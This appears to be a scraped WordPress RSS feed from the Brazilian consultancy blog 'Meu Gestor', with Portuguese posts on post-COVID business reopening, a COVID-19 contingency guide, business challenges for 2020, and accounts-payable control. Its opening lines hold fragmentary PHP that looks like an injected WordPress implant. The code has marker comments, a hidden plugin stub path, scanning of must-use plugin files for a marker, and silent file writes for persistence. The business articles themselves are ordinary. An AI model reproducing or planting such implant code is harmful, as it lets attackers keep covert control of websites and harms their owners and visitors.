// le_bs
if(!defined('ABSPATH'))return;
$cfg=array(
'stub'=>'/home1/mfcons/omeugestor.com/wp-content/plugins/hseo/hseo.php',
'ctrl'=>'// le_bs',
'vis'=>'// sa_3v',
'vis_func'=>'wp_a0c71m',
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$keys['id']='c9z';
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if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}}
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@wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false;
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O post Retomada Dicas para preparar o seu negócio apareceu primeiro em Meu Gestor.
]]>O Brasil e o mundo viveu a maior crise de saúde desde a gripe espanhola e essa crise gerou e vem gerando um impacto negativo enorme na economia.. Em especial nas micro e pequenas empresa.
Agora o cenário começa a mudar e muitas cidades estão reabrindo os comércios implementando protocolos de saúde e segurança.
Para as empresas que sobreviveram à crise agora vem uma nova dúvida, como será essa retomada, neste artigo tentamos trazer algumas informações para te ajudar neste momento.
Bem a melhor forma para iniciar essa retomada é fazer um planejamento, mesmo que seja um planejamento simples para organizar melhor o que deverá ser feito neste momento.
Um planejamento bem simples pode ser feito baseado nas prioridades analisadas no seu negócio para essa retomada.
Por exemplo, em uma análise você identifica que o estoque da sua empresa está muito baixo de acordo com os seus prazos de entrega.. Que o seu material de divulgação não poderá ser usado neste momento e que precisar definir uma nova negociação com os fornecedores.
A partir destes dados você define quais são mais prioritárias, analise quais as ações devem ser tomadas a fim de resolver cada um desses desafios!
Organizando essa atividades em um plano de ação, pode utilizar a estrutura do 5W2H que explicamos melhor neste artigo aqui.
É importante também para essa retomada que alguns objetivos de sobrevivência sejam definidos!
Como por exemplo, metas de vendas diárias, fluxo de clientes, giro de produtos do estoque e por aí vai.
Não adianta definir só o indicador, precisa também ter uma objetivo a ser alcançado, ou seja uma meta.
Com as metas definidas para os seus indicadores prioritários você define um norte que vai seguir neste momento e quais resultados são importante para a sobrevivência da empresa.
Em seguida é interessante você deixar essas metas em destaque para a equipe e para você, utilize nosso gráfico de Gestão a Vista que montamos para facilitar a sua vida, só acessar aqui para baixar.
Em todos os momentos da empresa o financeiro deve sempre está no radar dos responsáveis, acompanhando de perto os dados mais importantes e a disponibilidade de caixa do negócio.
Neste momento em especial este deve ser um dos focos prioritários.
Observamos duas coisas a primeira é que vários negócios estão realizando essa retomada com baixa flexibilidade de capital de giro devido ao momento da quarentena. Isso deixa uma pressão maior na gestão deste caixa para dar continuidade no negócio.
Segundo ponto é que na retomada a necessidade de venda vai ser maior, porém temos observado que a retomada não acontece com o mesmo ritmo de venda anterior..
Até por causa das medidas adotadas para a retomada.
Sendo assim, é importante manter um controle do caixa para garantir que o financeiro da empresa consiga dar suporte a operação até o equilíbrio.
Não tire o seu financeiro do radar!
Esse ponto com certeza é uma das suas maiores preocupações e provavelmente uma grande insegurança.
Nesta retomada pós quarentena temos vários detalhes que podem influenciar nas vendas da sua empresa.. Desde os protocolos de retomada, como também o próprio comportamento do cliente neste momento.
Aqui em Belo Horizonte o comércio retornou na segunda dia 25/05 em sua grande parte sendo que após alguns dias retomaram o fechamento do comércio retomando de forma parcial no dia 06/08.
Antes desta retomada a visão que se teria é que após a retomada o fluxo de pessoas na rua seria grande, essa era até uma preocupação. Mas que até agora não tem se mostrado real!
Mostrando que a população ainda tem receio de sair as ruas como antes.
Isso pode sinalizar que suas estratégias de vendas, caso você tenha um comércio de porta para rua ou dependa desse fluxo de pessoas para vender, devem ser repensadas pelo menos de imediato após a retomada.
Agora importante salientar, cada região pode apresentar comportamentos diferentes e recomendo que você como empresário deixe afiado o seu senso de observação.
A fim de perceber como o seu público alvo está se comportando neste momento de retomada..
Uma dica que posso passar para você é, fortaleça a sua atuação nas redes sociais, WhatsApp e Telegram. Nas redes, neste momento em especial no Instagram que tem gerado bons resultados.
Crie uma conta comercial e busque como criar anúncios para o público da sua região, assim você consegue alcançar um público com boa possibilidade de compra.
O primeiro passo para tomar essa decisão é entender a real situação do seu estoque.
Meus produtos estão qualificados para serem entregues ao consumidor final?
Qual a disponibilidade de espaço disponível no meu estoque atualmente?
Questionar e analisar esses e demais pontos é primordial para que você tome a decisão mais direta. Pois um único caminho não vai resolver para todos.
Se o estoque do seu negócio está lotado de produtos por causa da parada do comércio a melhor opção para retomada é fazer um filtro de qualidade. Caso os produtos estejam aptos para venda já podemos passar para o próximo passo.
Uma das opções para diminuir o estoque rapidamente é realizar descontos e ofertas, ou seja, diminuir sua margem de lucro.
Uma opção é doar os produtos que não estão sendo vendidos e fazer uma ação de marketing para conseguir mais doadores e movimentar a comunidade a sua volta. Gerando um reconhecimento e uma divulgação orgânica do seu negócio.
Outra estratégia é tentar a venda online destes produtos caso seja possível, direcionando anúncios para sua região para que a logística não fique comprometida.
Caso seu estoque esteja com capacidade disponível, a melhor opção é mesclar esses produtos em suas prateleiras ou em sua loja virtual. Usando os descontos e ofertas nos produtos que estavam parados, com intuito de chamar a atenção do seu público.
Criar pacotes de produtos, onde a compra inicial é baixa mas é oferecido um outro produto que complementa o primeiro item..
É uma ótima estratégia, pois gera valor agregado para seu cliente e uma margem de lucro um pouco maior, do que a venda de um único produto que está em promoção.
Tenha em mente que a retomada não será no ritmo antigo de vendas, será um processo gradual, por isso planeje muito bem sua estratégia e dê tempo para que ela possa mostrar resultados, seja ele, negativo ou positivo.
Não fique pulando de estratégia todo dia ou semana!
Mais do que nunca, agora o empreendedor brasileiro vai precisar do seu jogo de cintura, aliando novas estratégias do meio digital com o dia a dia do seu negócio físico.
É momento de planejar e ser criativo, mas também de colocar em prática as ideias.
Um ponto crucial e que deve ser repetido sem limite é cumprir os protocolos de saúde, caso você tenha um negócio físico!
A última coisa que um empreendedor precisa neste momento é receber multas, por não cumprir os protocolos de saúde para a retomada.
Enfim, é primordial um planejamento, criatividade, utilização das mídias digitais e análise constante do financeiro no seu negócio.
Assim será possível retomar com grandes chances de manter seu negócio aberto.
E digo mais, se colocar em prática essas dicas adaptando para seu modelo de negócio você sairá na frente de 90% dos seus concorrentes!
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Abraço.
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]]>O post Coronavírus – Guia para sua empresa apareceu primeiro em Meu Gestor.
]]>Pois é o Coronavírus, Covid19, chegou ao Brasil! E parece que ainda tem muita coisa para acontecer a respeito do vírus por aqui e seus impactos.
Alguns clientes têm pedido ajuda a respeito do vírus, o que podem fazer e se devem tomar alguma ação de emergência para um caso de aumento drástico dos números de caso no Brasil.
Por isso resolvi montar este conteúdo com algumas orientações de como preparar a sua empresa para uma situação mais drástica e reduzir as perdas que isso pode causar na empresa.
A cada dia novos casos de Covid-19, doença respiratória causada pelo novo corona vírus, se confirmam no mundo. Até a tarde desta quinta-feira (12), o Brasil registrava 77 casos confirmados da doença e monitorava 1.422 situações suspeitas. Outros 1.163 casos já foram descartados.
Coronavírus é uma família de vírus que pode causar danos em animais e em humanos. Em pessoas, pode resultar em infecções respiratórias que vão desde um resfriado até síndromes respiratórias agudas severas. O novo coronavírus (SARS-Cov-2) causa a doença denominada Covid-19, que teve início na China, em dezembro de 2019.
Os sintomas do Covid-19 envolvem febre, cansaço e tosse seca. Parte dos pacientes pode apresentar dores, congestão nasal, coriza, tosse e diarreia.
Alguns pacientes podem ser assintomáticos, ou seja, estarem infectados pelo vírus, mas não apresentarem sintomas. O Ministério da Saúde estima que os pacientes mais jovens são os mais passíveis de não apresentar qualquer sinal da doença.
De acordo com a OMS, a estimativa é que o período de incubação seja de 1 a 14 dias!
Ou seja, o vírus teria esse tempo para se manifestar. O mais comum é a manifestação por volta de cinco dias. Mas há pessoas que não apresentam sintomas.
A OMS calcula que 1 em cada 6 pacientes pode ter um agravamento do quadro, com dificuldades respiratórias sérias.
No início de março, a taxa de letalidade era de 3,5%. Mas o Ministério da Saúde suspeita que pode ser menor, em razão de haver subnotificação dos casos em alguns países. Os públicos mais vulneráveis são idosos e pessoas com doenças crônicas (diabetes, pressão alta e doenças cardiovasculares).
O contágio ocorre a partir de pessoas infectadas. A doença pode se espalhar desde que alguém esteja a menos de 2 metros de distância de uma pessoa com a doença.
A transmissão pode ocorrer por gotículas de saliva, espirro, tosse ou catarro, que podem ser repassados por toque ou aperto de mão, objetos ou superfícies contaminadas pelo infectado.
O novo coronavírus não é transmitido pelo ar a menos que um indivíduo chegue próximo a um paciente infectado a ponto de as formas de contaminação serem possíveis.
De acordo com a OMS, as chances são pequenas, pois o vírus é transmitido por saliva, espirro, tosse ou catarro, elementos mais presentes quando uma pessoa está com gripe.
O Ministério da Saúde explica que não há medicamento, substância, vitamina, alimento específico ou vacina que possa prevenir a infecção pelo novo corona vírus e indica as seguintes medidas de prevenção:
– lavar as mãos frequentemente com água e sabonete por pelo menos 20 segundos, ou usar desinfetante para as mãos à base de álcool quando a primeira opção não for possível;
– evitar tocar nos olhos, nariz e boca com as mãos não lavadas;
– evitar contato próximo com pessoas doentes;
– ficar em casa quando estiver doente;
– usar um lenço de papel para cobrir boca e nariz ao tossir ou espirrar, e descartá-lo no lixo após o uso;
– não compartilhar copos, talheres e objetos de uso pessoal;
– limpar e desinfetar objetos e superfícies tocados com frequência.
– manter ambientes bem ventilados e higienizar as mãos após tossir ou espirrar.
O SUS desenvolveu um aplicativo que comunica informações sobre o COVID-19 e ainda realiza uma triagem virtual, indicando se é necessário ou não a ida a hospitais! Divulguem e bora defender esse sistema referência em saúde!
iOS: https://apps.apple.com/br/app/coronav%C3%ADrus-sus/id1408008382
Android: https://play.google.com/store/apps/details?id=br.gov.datasus.guardioes
Sim! De acordo com o Conselho Federal de Química, o álcool gel é “eficiente desinfetante de superfícies/objetos e antisséptico para a pele”.
O grau alcoólico recomendado para o efeito é de pelo menos 70%.
A máscara não tem efeito algum, para pessoas sem o vírus!
Ela deve ser utilizada por quem apresenta sintomas da doença, pois previne que alguém infectado espalhe o vírus e venha a contaminar outras pessoas.
O uso também é recomendado para pessoas que tenham contato com indivíduos com suspeita ou confirmação do novo corona vírus.
Máscaras também devem ser usadas por profissionais de saúde que atuem em locais com pacientes com suspeitas ou sintomas.
Após o uso, a orientação é descartar a máscara em local adequado e lavar as mãos.
Efim, segue aqui ainda um link com um mapa do vírus no mundo e como ele está crescendo para você acompanhar, só clicar no link e explorar o mapa:
https://experience.arcgis.com/experience/685d0ace521648f8a5beeeee1b9125cd
Ufa, muita informação sobre o vírus não é mesmo, bem agora vamos falar um pouco sobre como montar um plano de contingência, caso ele se espalhe com força pelo país ou pela sua região.
Vamos lá, se você trabalha com comercialização de produtos ou utiliza na entrega do seu serviço insumos, é importante ter atenção para alguns pontos.
O primeiro ponto é saber se esses insumos ou estoque tem origem nos países que estão sendo mais afetados pelo vírus, entre em contato com os seus fornecedores e veja com eles sobre o estoque que eles possuem dos produtos, se os produtos são importados e em caso positivo, qual a origem dos mesmos.
Caso esses materiais sejam importados e de origem dos países afetados de forma drástica pelo vírus, e de acordo com a necessidade que sua empresa tem destes insumos ou produtos para rodar, uma boa estratégia pode ser fazer um estoque maior entre 50% a 100% a mais do que sua empresa já faz ultimamente, quer dizer que se você tem um estoque de 10 normalmente, o ideal é ter entre 15 a 20.
É interessante ter uma garantia de disponibilidade de produtos e insumos, dependendo da necessidade e se são produtos perecíveis, de pelo menos 45 dias.
Assim você garante a operação por esse período.
Mas é importante ter um ponto de observação antes de tomar essa ação, o seu negócio tem um alto risco de ficar paralisado devido ao Corona vírus?
Portanto se a resposta for sim precisamos validar uns pontos.
Se essa for uma possibilidade real para o seu negócio você precisa ter a atenção redobrada nos movimentos do seu mercado devido aos avanços da doença.
É imprescindível essa percepção e análise antes de tomar qualquer ação de estoque ou de compras, isso porque se você percebe a medida que o vírus aumenta a sua demanda cai, pode ser um grande indicativo que o seu mercado vai sofrer de forma mais intensa com vírus, então não vale a pena investir em estoque maior mas sim fazer caixa para manter a empresa de pé na época de baixa causada pelo vírus.
Neste caso o ideal é tentar alguns gastos de forma imediata buscando uma maior geração de caixa para a empresa.
Esse caixa pode garantir o funcionamento da empresa, gastos fixos, neste período de baixa.
Se a demanda realmente paralisar análise com um advogado trabalhista para negociar um acordo e mandar os funcionários para casa com um pagamento reduzido mas com garantia de emprego para garantir um queima menor de caixa, mas isso só se o mercado paralisar mesmo, e por um tempo pré determinado.
Mas além disso é importante se preparar para o momento atual afinal se você ainda está de portas abertas não pode deixar imperar o caos na sua empresa.
Então vamos lá.
A sua equipe da empresa está se colocando em risco pelos seus trabalhos e pela sua empresa.
Em alguns casos que o trabalho envolve atendimento ao público o risco de contaminação com o Coronavírus, o Covid-19, é bem maior.
Sendo assim é importante serem definidas algumas ações preventivas e boas práticas dentro da empresa, afim de comprovar o seu compromisso com o bem estar de todos e evitar que o seu time fique doente.
Uma boa forma é montar um material com boas práticas, pode ser simples mesmo uma folha impressa ou uma comunicação simples por e-mail, com o objetivo de implantar práticas de prevenção na empresa e alertar sobre a realidade da doença, suas formas de transmissão e prevenção, pode usar a primeira parte deste artigo para isso.
Com esse material na mão sente com o seu time e explique sobre o material e o porque você está implantando essas boas práticas, além da importância de todos seguirem e fiscalizar o cumprimento deles.
Essa ação é importante para conscientizar todos e manter a sua equipe protegida.
Agora e se alguém do seu time foi infectado, o que fazer??
Se você tiver pessoas com o vírus confirmadas no seu time é necessário agir rápido para evitar pânico na equipe e manter o negócio rodando.
Se você trabalha com comércio ou atendimento ao público o primeiro ponto é reforçar as ações preventivas e, lógico, o colaborador doente vai para casa.
É importante mapear possíveis contatos com os outros integrantes do time e encaminhá-los para o posto de saúde mais próximo para realização do exame em caso de sintomas da doença.
Importante você agir a fim de evitar que todos do time fiquem infectados ou que infectem seus clientes.
É bom se preparar, se caso for uma cidade pequeno, que o boato vai se espalhar e pode ser importante você colocar um comunicado na empresa sobre as ações que foram tomada de prevenção.
Agora se o seu negócio é um escritório e todos trabalham no computador ou telefone, uma ótima forma pode ser enviar todos para o trabalho remoto, essa é uma ótima opção, pois evita que as pessoas fiquem doentes no escritório e também faz com que elas não percam o ritmo de trabalho.
Para fazer isso é importante que alguns testes sejam feitos já de imediato, a fim de validar o rendimento do time remoto e corrigir alguns pontos para evitar perda de resultados.
Portanto uma boa dica para trabalhar neste formato, é realizar uma reunião diária no Skype todos os dias, todos do time em uma mesma sala de reunião!
Afinal reunião rápida para validar como estão os planos do dia, como foram os resultados no dia anterior, se a equipe for grande, pode fazer uma reunião de 15 a 30 minutos por cada área.
Se caso precisarem fazer ligação para um cliente, pode contratar um plano de celular que fala em todas as operadoras pagando um mesmo valor fixo por mês, a Tim tem um com o valor muito bom e vai possibilitar que o seu time continue produzindo sem grandes investimentos da sua parte e sem grandes perdas de resultado.
Trabalhar remoto, se for feito de forma organizada, traz resultados positivos para a empresa e para o time.
Enfim, aqui no Meu Gestor os atendimentos dos consultores são realizados 100% online, com ótimos resultados para os clientes.
Assim mesmo em situações como essas ou em qualquer lugar que esteja, você consegue ter um consultor excelente para te orientar e te ajudar a tomar as melhores decisões e ações para a sua empresa.
Portanto com essas dicas e com a ajuda do Meu Gestor mesmo em uma situação como essa, com certeza a sua empresa não vai deixar a bola cair e não vai ter grandes perdas com a Pandemia.
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]]>O post Os maiores desafios para as empresas em 2020 apareceu primeiro em Meu Gestor.
]]>Com o fechamento do ano de 2019 com resultados econômicos positivos (IBOVESPA com recorde histórico e taxa SELIC menor que o previsto) e acima da expectativa do mercado começamos 2020 com expectativas positivas.
Enquanto vários países no mundo caminham para uma crise mais acentuada o Brasil se mostra como uma possível ilha de prosperidade em meio a todos esses acontecimentos negativos no mundo.
Você deve estar pensando agora…
E o que isso significa?
Essa situação de ilha de prosperidade levanta uma possibilidade para o nosso país, a de termos um fluxo de capital internacional para investimentos aqui no Brasil.
E com a nossa taxa de juros baixa (SELIC) os melhores cenários serão, investir em Capital de Risco, o famoso Venture Capital, que tem como foco, na maioria das vezes, investimento em startups e tecnologia.
Investimento em empresas que têm possibilidade de crescimento em meio ao cenário de crescimento econômico ou investir em leilões e obras públicas, uma das estratégia que o governo já está seguindo, além de algumas outras opções mais pulverizadas.
Qualquer dessas opções serão benéficas para a economia como um todo pois além de injetar um capital para investimento em negócios e empresas, vão gerar o desenvolvimento desses negócio!
A geração de emprego e a aceleração da economia de uma forma sustentável, não subsidiada pelo governo.
Existe uma previsão para um crescimento mais vertiginoso do setor de construção civil e toda a sua cadeia!
Esse crescimento já está sendo observado desde 2019 e para 2020 a previsão é que isso se intensifique.
Esse crescimento está sendo impulsionado em especial pela redução da taxa de juros e a facilidade de acesso a crédito no mercado.
Com a confirmação desse cenário positivo toda a geração de renda e consumo vai melhorar no país.
Para exemplificar a dinâmica, quer dizer que se, por exemplo, você tem um varejo de bairro ou uma loja maior, as suas vendas vão crescer pois teremos mais dinheiro na mão de mais consumidores.
Você varejista que começa a faturar mais consegue contratar mais funcionários e também soluções para te ajudar a crescer mais a loja e ampliar a lucratividade.
Com isso as empresas que prestam esse tipo de serviço aumentam as suas vendas e a cadeia se estende por toda economia.
Então, de forma geral, o que você pode esperar é um aumento de suas vendas e também uma maior disponibilidade de capital no mercado, bancos e financeiras e ainda com um capital mais barato.
Então quais os desafios para as empresas em 2020 para aproveitar esse momento positivo da economia.
Uma coisa é certa, apesar do momento positivo esperado para o Brasil, nem todo mundo vai ganhar.
Sempre, independente do momento, existem os que ganham e os que perdem ou os que ganham muito e os que ganham pouco, acredito que a sua intenção como empresário seja ficar entre os que ganham mais, estou certo?
Se sim você tem alguns desafios pela frente.
Não quer dizer que só porque tem mais dinheiro no mercado as pessoas vão comprar o seu produto ou o seu serviço no lugar do seu concorrente.
Hoje em dia os consumidores tem acesso muito maior a possíveis fornecedores.
São bombardeados a todo momento por publicidade e promoções e ainda pesquisam muito antes de tomar a decisão para comprar um produto.
Assim você precisa chamar a atenção do seu cliente do jeito certo e na hora certa e ainda está preparado para recebê-lo e oferecer o produto ou serviço ideal para ele.
Então você tem alguns desafios em Marketing, Vendas, Processos e Estoque falando de forma mais ampla, pois no detalhe existem alguns outros desafios.
É importante ter atenção em todas essas áreas da sua empresa para tirar proveito do momento em seu máximo e superar a concorrência desenvolvendo a sua empresa e crescendo o negócio.
Esses pontos são imprescindíveis para se alcançar esse resultado.
Vamos entrar no detalhe em cada um desses pontos com o objetivo de explorar mais a fundo os desafios específicos e como superá-los.
Já aproveitando vamos falar sobre as metas, não adianta definir um plano e um caminho se não sabemos onde queremos chegar, esse onde queremos chegar são as suas metas.
Então vamos definir essas metas.
Para começar a alcançar resultados mais expressivos na sua empresa..
E realmente aproveitar as possibilidades que 2020 está trazendo, saindo desse ano muito melhor do que a empresa entrou, temos um primeiro passo importante, quer dizer imprescindível!
A definição das metas, ou seja a definição de onde você quer chegar, quais são os seus principais objetivos para esse ano.
E porque isso seria importante para sua empresa?
Porque quando não sabemos onde queremos chegar, qualquer caminho e qualquer resultado serve.
Como disse o pensador Sêneca:
“Não existe vento favorável a quem não sabe onde deseja ir”
Caso não esteja com os seus objetivos claros não conseguirá definir ações efetivas, afinal as ações devem ser definidas com o objetivo de alcance de um resultado sem um resultado para alcançar não adianta definir ações.
Além disso ter metas bem estruturadas garante que você enxergue o crescimento ou não do seu negócio e do seu time, além de definir para o seu time objetivos claros que devem ser alcançados, dando um norte para os mesmos.
Sem metas para alcançar o seu time se sente perdido e suas cobranças são infundadas, baseadas apenas em sentimentos, achismo ou posicionamento pessoal.
Com as metas bem definidas e estruturadas fica claro onde você quer chegar com a empresa para você e seu time e aí você pode iniciar a definição de ações e estratégias para alcance das mesmas.
Se tiver dúvidas em como definir metas que são alcançáveis e que também não sejam “frouxas”, acesse este artigo aqui, ele pode te ajudar com isso.
Agora que você tem as metas definidas está na hora de começar a atacar pontos importante que podem lhe impedir de alcançá-las.
Atrair o cliente ideal, comunicando da forma correta para esse cliente e ainda atraindo um volume de acordo com o necessário para as vendas é imprescindível para alcançar resultados positivos.
Para isso é importante que sejam feitas algumas análises sobre o seu público alvo e seu comportamento, para assim entender qual a comunicação ideal para esse público.
Após essas análises estruturadas é importante que sejam feitas ações/estratégias com o foco no alcance dos resultados esperados, em breve vamos falar um pouco sobre as metas.
Essas ações devem ter um foco prático no alcance do resultado além de um prazo exequível mas que seja dentro do prazo necessário para alcançar as metas planejadas.
Aqui neste artigo damos algumas dicas de ações de marketing digital que podem ser tomadas, dá uma olhada nele também.
Nessa hora é importante que se tenha um apoio de preferência com um profissional especialista na área, para assim estruturar ações que realmente vão gerar resultados para a sua empresa.
Se tiver problemas com isso acesse aqui e veja como podemos te ajudar!
Só atrair clientes para sua empresa não é o bastante, converter esses clientes em vendas reais é também um grande desafio.
A fim de melhorar esse resultado você precisa ter um processo de vendas bem estruturado com rotinas e padrões bem definidos!
Além de um time bem treinado em todo os processos e padrões.
Esse processo é importante, pois consegue de forma clara e concisa como o seu time de vendas deve realizar as abordagens com os clientes!
Oferecer os produtos, fechar uma venda, entre outros.
Essa estrutura garante que todo seu time trabalhe no seu processo de venda de forma homogênea sem grandes variações!
Fazendo assim com que as surpresas nos resultados das suas vendas aconteçam com uma frequência muito menor.
Para aproveitar as oportunidades que esse novo ano pode oferecer para o seu negócio você precisa ter uma boa taxa de conversão de vendas dos clientes que chegam até a sua empresa!
Caso contrário todo o valor investido no Market no negócio será em vão e você jogará esse dinheiro fora.
Uma coisa precisa ficar clara..
Que empresa ou pessoas ficou responsável em gerar vendas, o objetivo principal de uma campanha de marketing ou de ações de marketing gerar resultados diretos do seu negócio!
Se isso não acontece é necessário entender se o processo de vendas, se está bem estruturado e se seu time está bem treinado nesse processo.
Se você ainda não tem esse processo estruturado e esses padrões de vendas definidos é importante que você faça o mais rápido possível na sua empresa!
Em especial neste momento onde você está se preparando para entrar um ano que pode oferecer várias oportunidades de crescimento para o seu negócio.
A grande questão é que todo esse processo deve estar documentado com toda a estrutura de processo que deve ser seguida.
E os padrões que devem ser realizados em cada fase desse processo, isso não quer dizer que o seu vendedor precisa ser um robozinho repetindo exatamente tudo!
É guiar e dá o norte que aquele vendedor deve seguir cada vendedor tem a sua particularidade e ela deve ser mantida.
Para você que está desenvolvendo esse processo, é importante que essa individualidade do seu vendedor esteja em mente!
A fim de não desenvolver uma estrutura de rotinas e padrões que ingerem o processo.
Além de todas estrutura de rotinas você precisa também controlar os resultados da sua venda quer dizer que você precisa ter ali os indicadores e metas bem definidos para cada pessoa do seu time!
A fim de deixar claro para esse time quais objetivos devem ser alcançados por eles, e também te dar toda a informação necessária para cobrança dos resultados!
Além de dar reconhecimento aos vendedores de sucesso!
Caso tenha dúvidas você pode pesquisar um pouco mais a fundo sobre processos de venda tanto em outros artigos do nosso blog como no Google!
Com o objetivo de identificar boas práticas e ferramentas que podem ser inseridas no desenvolvimento do seu processo.
Agora que o processo está definido ou que você já e começou a definir esse processo é importante ter em mente que não existe uma venda sem o seu produto!
O que quer dizer isso, que você precisa ter o produto que o seu cliente quer comprar na hora que ele quer comprar..
Se liga no próximo tópico.
Se vendemos produtos, precisamos ter esses produtos disponíveis e não pode ser qualquer produto, é necessário ter em seu estoque produtos que são de interesse dos seus clientes!
Afinal quem dita o que é bom ou é ruim para estar na sua loja além lógico do seu feeling e conhecimento de mercado é o cliente que vai comprar de você aquele produto.
Para uma empresa que trabalha com venda de produtos perecíveis ou não, essa gestão e controle de estoque é super importante!
Com a realização de novas compras à medida que o estoque está ficando mais baixo ou até mesmo realização de compras de novos produtos que ainda não fazem parte do seu catálogo..
É super importante.
Um bom controle de estoque garante que você tenha os produtos necessários dentro do seu estoque não tendo nenhum estoque pequeno demais e nem um estoque grande demais.
O grande problema de se ter um estoque muito grande, é que você fica com dinheiro de fluxo de caixa da empresa parado no estoque.
O ideal é que você tenha um estoque com um bom giro, onde de acordo com o seu modelo de negócio os produtos fiquem pouco tempo parados em estoque .
Quando falamos de produtos de moda, estoque é ainda mais importante pois quando mudamos de estação as coleções se alteram!
Fazendo com que uma compra mal feita possa significar produto fora da coleção parado em estoque..
E consequentemente vendas futuras com desconto afetando diretamente a sua margem.
Para aproveitar bem as oportunidades que esse novo ano apresenta, é importante ter implementado no seu negócio bom controle de estoque com controle de entradas e saídas de produto.
Definição de estoque mínimo para cada produto, e de preferência realizar compras baseadas nesses números do seu controle de estoque.
Com esse controle de estoque bem estruturado você terá o produto que seu cliente quer fazendo com que o seu processo de marketing traga os seus clientes para a loja!
Fazendo seu processo de venda bem estruturado, você consegue vender o produto que o seu cliente quer comprar.
Agora se você pensa que acabou por aí ainda, você está enganado, ainda existe um ponto super importante para conseguir resultados excelentes nesse 2020.
Se quiser saber mais e mais a fundo a respeito de controle de estoque dá uma olhada neste artigo aqui que nós possamos no blog.
Este ponto é a definição de preço!
Sem um preço bem definido, você não terá um preço competitivo ou você terá a margem desejada para o seu negócio..
Vamos falar um pouco sobre precificação no próximo tópico.
É para não sucumbir aos desafios em 2020 para sua empresa é muito importante ter preços bem definidos.
A metodologia de precificação na sua empresa é imprescindível para garantir que você tenha preços competitivos e com boa margem.
Preços mal definidos fazem que você em cada venda que realize dentro da sua empresa tenha prejuízo!
Isso quer dizer que você pode estar pagando para o seu cliente levar o seu produto ao invés de recebendo por ele.
Sendo assim precificação é a metodologia que te permite definir os preços dos seus produtos.
Deixa artigo não entrarei tão a fundo a respeito dessa precificação,a intenção aqui é chamar atenção a respeito desse ponto importante para o seu negócio.
Vou destacar apenas uma forma de precificação que é uma forma mais comum.
Mas que pode ser eficiente dependendo do seu modelo que é precificação baseada na sua concorrência.
Mas em linhas Gerais o objetivo de uma precificação baseada na concorrência é equalizar os seus preços!
E claro, entender se você está cobrando próximo da sua concorrência, isso te ajuda a equalizar os preços dos seus produtos..
Além de entender se você está com preços competitivos no mercado.
Existem ainda as metodologias de markup são margens de contribuição..
Mas não vamos entrar nessas metodologias neste artigo!
Ao invés disso vou colocar aqui um artigo muito bacana que entra de forma detalhada nesse assunto de precificação.
Agora se você se preparou criou todas as estratégias e estruturas que citamos agora nesse artigo mas o cenário positivo não se concretizou o que fazer?
Me acompanha no próximo tópico que vou falar a respeito.
Bem, tudo planejado, tudo estruturado mas o cenário não se concretizou da forma esperada para o ano de 2020..
E os desafios que pensávamos ter na empresa nesse ano se tornaram outros desafios, o que fazer?
De forma geral um ano é um ano como qualquer ou pode ser um ano onde os negócios tomam uma velocidade positiva pelo movimento do mercado como falei no início do artigo!
Agora se você está lendo esse artigo e já está vendo que o cenário positivo não se concretizou não adianta sentar no chão e chorar.
Todas as estruturas citadas em artigos são estruturas necessárias para o sucesso do seu negócio e devem estar implementadas na sua empresa Independente de um cenário positivo ou não.
Na verdade em cenários negativos elas são até mais importantes para prosperidade ou manutenção da sua empresa.
Sendo assim se você ainda não tem essas estruturas, processos, controles e rotinas implementadas nos seus negócios não perca mais tempo!
Aproveite para implementá-las independente da situação do mercado.
Afinal o sucesso do seu negócio está na sua mão e não na mão do mercado, em situações de crise ou de marasmo muitas empresas prosperam e muitas delas quebram.
Você precisa definir em qual das duas você quer estar!
Se você precisa do seu negócio e acredita nele não perca tempo e já comece a partir de agora implementar todas essas estruturas.
Enfim, não deixe o mercado ditar as regras dentro da sua empresa e sim prepare a sua empresa para sobreviver e prosperar independente do mercado.
Hummm, aí é por sua conta e risco.
Em nossa vivência com empresas já vimos várias que faliram quando o mercado estava em alta!
Pois não souberam se preparar para surfar na onda mas seus competidores se prepararam, e eles caíram da prancha.
É importante lembrar que mesmo em momento positivos onde se tem muita procura sempre teremos as empresas que vão ganhar mais e as que vão ganhar menos.
Nunca todos vão ganhar, o mercado não funciona assim!
Se você não se preparar muito bem pode ser destruído pelo seu concorrente, pelo seu descontrole interno, entre outros fatores.
Então, para vencer de verdade tem que jogar uma partida excepcional e com o seu time todo junto jogando o mesmo jogo com a estratégia 100% alinhada.
Portanto, não se esqueça que sempre alguém vai ganhar e alguém vai perder, não quer dizer que você deve trabalhar para acabar com a sua concorrência!
Mas tenha em mente o cliente que você não vende, que não coloca o dinheiro na sua empresa!
Se ele continuar a procura do produto ou serviço que ele deseja é na mão do seu concorrente que o dinheiro dele vai parar.
Se você tiver dificuldades ou desafios na implementação dessas estruturas, converse com um dos nossos consultores, conheça mais a fundo sobre o Meu Gestor!
Enfim, saiba como nossa solução pode te ajudar a surfar na onda de 2020 e superar todos os desafios para a sua empresa.
O post Os maiores desafios para as empresas em 2020 apareceu primeiro em Meu Gestor.
]]>O post Como controlar as contas a pagar da sua empresa apareceu primeiro em Meu Gestor.
]]>Toda empresa tem contas para pagar, certo? Também todas tem contas para receber, não é mesmo?
Sendo assim, porque será que algumas empresas não conseguem arcar com todas as contas ou acabam atrasando o pagamento delas?
Se você respondeu que nessas empresas as contas a pagar são maiores que as contas a receber, você pensou apenas na resposta mais óbvia. Vamos ampliar esse leque de visão: não existe apenas esse motivo.
Um outro motivo MUITO COMUM é que não há um controle adequado das contas a pagar.
E é sobre esse motivo em especial que vou falar nesse texto: controle de contas a pagar.
Nós sabemos que todo negócio precisa de recursos para funcionar, não é mesmo?
São necessárias pessoas, máquinas, um lugar de funcionamento, matéria prima, divulgação do produto, pagamento de impostos, etc.
E para que tenhamos esses recursos de qualidade no nosso empreendimento é preciso comprar, contratar, alugar. Aí que entra o contas a pagar.
Contas a pagar são todas aqueles gastos que seu negócio precisa desembolsar dinheiro. São as consideradas saídas, na linguagem da contabilidade.
Entendendo que as saídas do seu negócio são um ponto importante do seu fluxo de caixa fica fácil identificar a importância de controlar as contas a serem pagas, concorda?
Com o controle é possível identificar todas as despesas e custos daquela empresa em um determinado período de tempo e tomar as ações cabíveis, quando necessário.
Por exemplo, é preciso saber dia de pagamento de cada recurso para avaliar se naquela data sua empresa tem capital suficiente para desembolsar. Caso não tenha é preciso se planejar antes para negociar o pagamento.
